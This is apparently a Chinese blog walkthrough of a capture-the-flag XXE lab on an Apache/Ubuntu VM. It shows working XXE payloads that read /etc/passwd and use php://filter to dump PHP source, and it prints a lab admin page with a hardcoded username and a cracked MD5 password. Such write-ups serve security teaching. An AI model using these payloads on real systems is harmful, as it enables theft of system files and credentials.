Apache2之Ubuntu-XXE漏洞渗透

一、配置靶场

第一步:打开kali,作为攻击机,打开是黑屏不要蒙圈,是正常的

第二步:配置局域网主机

探测局域网内的所有主机--

1、查看虚拟机的网络配置

2、查看到我的子网地址为192.168.189.0

第三步:使用御剑端口扫描工具(其他的也可以,换汤不换药)

1、查看192.168.189.1到192.168.189.255的80端口

2、查到这个ip和其他的不一样(突兀),就是它了

3、访问这个查到的ip地址,发现是web服务是apache

第四步:使用目录探测工具探测

192.168.189.151(我是用的WebRobot工具),我查到一颗响应码是200的链接

第五步:打开查到的链接,查到该链接下有两个目录

第六步:访问/xxe的目录(192.168.189.151/xxe),顺利打开靶场

二、解题

第一步:先随便输入,看到没反应

第二步:burpsuite抓包

看到了xml的代码,存在xxe漏洞

第三步:发送到repeater重放器,我们在前面看到是apache的服务,构造xxe语句指向/etc/passwd,看看有没有回显

复制代码
<!DOCTYPE root[
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
&xxe;//把这个放在用户名那里

没有有用的东西

但是好消息是xxe语句有效果

第四步:接着查看其他目录

1、查看apache首页的默认目录/var/www/html/,发现还是错误

2、使用PHP协议查看php文件里面有啥

复制代码
<!DOCTYPE root[
    <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/xxe/index.php">
]>
&xxe;//把这个放在用户名那里

查看到一堆乱码

复制进行base64解码,解码后是php文件的源代码Base64 编码/解码 - 锤子在线工具 (toolhelper.cn)

我查看代码里面没有和用户名和密码相关的

3、查看admin.php,base64解码查看php源代码Base64 编码/解码 - 锤子在线工具 (toolhelper.cn)

复制代码
<?php
   session_start();
?>
​
​
<html lang = "en">
   
   <head>
      <title>admin</title>
      <link href = "css/bootstrap.min.css" rel = "stylesheet">
      
      <style>
         body {
            padding-top: 40px;
            padding-bottom: 40px;
            background-color: #ADABAB;
         }
         
         .form-signin {
            max-width: 330px;
            padding: 15px;
            margin: 0 auto;
            color: #017572;
         }
         
         .form-signin .form-signin-heading,
         .form-signin .checkbox {
            margin-bottom: 10px;
         }
         
         .form-signin .checkbox {
            font-weight: normal;
         }
         
         .form-signin .form-control {
            position: relative;
            height: auto;
            -webkit-box-sizing: border-box;
            -moz-box-sizing: border-box;
            box-sizing: border-box;
            padding: 10px;
            font-size: 16px;
         }
         
         .form-signin .form-control:focus {
            z-index: 2;
         }
         
         .form-signin input[type="email"] {
            margin-bottom: -1px;
            border-bottom-right-radius: 0;
            border-bottom-left-radius: 0;
            border-color:#017572;
         }
         
         .form-signin input[type="password"] {
            margin-bottom: 10px;
            border-top-left-radius: 0;
            border-top-right-radius: 0;
            border-color:#017572;
         }
         
         h2{
            text-align: center;
            color: #017572;
         }
      </style>
      
   </head>
    
   <body>
      
      <h2>Enter Username and Password</h2> 
      <div class = "container form-signin">
         
         <?php
            $msg = '';
            if (isset($_POST['login']) && !empty($_POST['username']) 
               && !empty($_POST['password'])) {
                
               if ($_POST['username'] == 'administhebest' && 
                  md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') {
                  $_SESSION['valid'] = true;
                  $_SESSION['timeout'] = time();
                  $_SESSION['username'] = 'administhebest';
                  
                echo "You have entered valid use name and password <br />";
        $flag = "Here is the <a style='color:FF0000;' href='/flagmeout.php'>Flag</a>";
        echo $flag;
               }else {
                  $msg = 'Maybe Later';
               }
            }
         ?>
      </div> <!-- W00t/W00t -->
      
      <div class = "container">
      
         <form class = "form-signin" role = "form" 
            action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']); 
            ?>" method = "post">
            <h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
            <input type = "text" class = "form-control" 
               name = "username" 
               required autofocus></br>
            <input type = "password" class = "form-control"
               name = "password" required>
            <button class = "btn btn-lg btn-primary btn-block" type = "submit" 
               name = "login">Login</button>
         </form>
            
         Click here to clean <a href = "adminlog.php" tite = "Logout">Session.
         
      </div> 
      
   </body>
</html>
​

看到用户名administhebest和加密后经过MD5加密的密码e6e061838856bf47e1de730719fb2609,将密码解码后为admin@123`

md5在线解密破解,md5解密加密 (cmd5.com)

第五步:访问admin.php,使用查到的用户名和密码登陆

第六步:看到了一个flag,点击,你会看到一个套娃

第七步:查看这个新的php文件,有些无语了吧,继续吧。

你可以选择按照上面的第四步查看的文件的步骤一步一步查看。也可以选择超近道,直接访问/xxe/flagmeout.php.

进去后你会看到,空空如也。。。。。

第八步:查看页面的源代码

终于找到你,还好我没放弃~

但是

查看到了flag??? in???不会又是编码吧???

第九步:解码flag后面括号里的东西

而且是base32编码。。。出来后还是?乱码??

第十步:再次解码

这次是base64解码。。。

第十一步:查看这个目录/etc/.flag.php

复制代码
<!DOCTYPE root[
    <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
​
&xxe;//放到name后面

第十二步:复制,解码

我没想到能写到十二步。。。。。。

第十三步:复制,自己创建一个PHP文件放到自己的的localhost访问

我创建的是localhost.222.php,访问后看到flag的内容

相关推荐
lisw051 小时前
网络化:DevOps 工程的必要基础(Networking: The Essential Foundation for DevOps Engineering)
网络·devops
风行無痕3 小时前
Ubuntu Linux系统配置账号无密码sudo
linux·服务器·ubuntu
驱动小百科3 小时前
WiFi出现感叹号上不了网怎么办 轻松恢复网络
网络·智能路由器·wifi出现感叹号怎么解决·wifi无法上网·电脑wifi
好多知识都想学3 小时前
协议路由与路由协议
网络·智能路由器
爆农3 小时前
centos搭建dokcer和vulhub
linux·运维·centos
SZ1701102313 小时前
中继器的作用
服务器·网络·智能路由器
chenxy023 小时前
如何快速分享服务器上的文件
运维·服务器
重启就好4 小时前
【Ansible】模块详解
linux·服务器·ansible
o0o_-_4 小时前
【瞎折腾/mi50 32G/ubuntu】mi50显卡ubuntu运行大模型开坑(三)安装风扇并且控制转速
linux·运维·ubuntu
一口一个橘子4 小时前
[ctfshow web入门] web69
前端·web安全·网络安全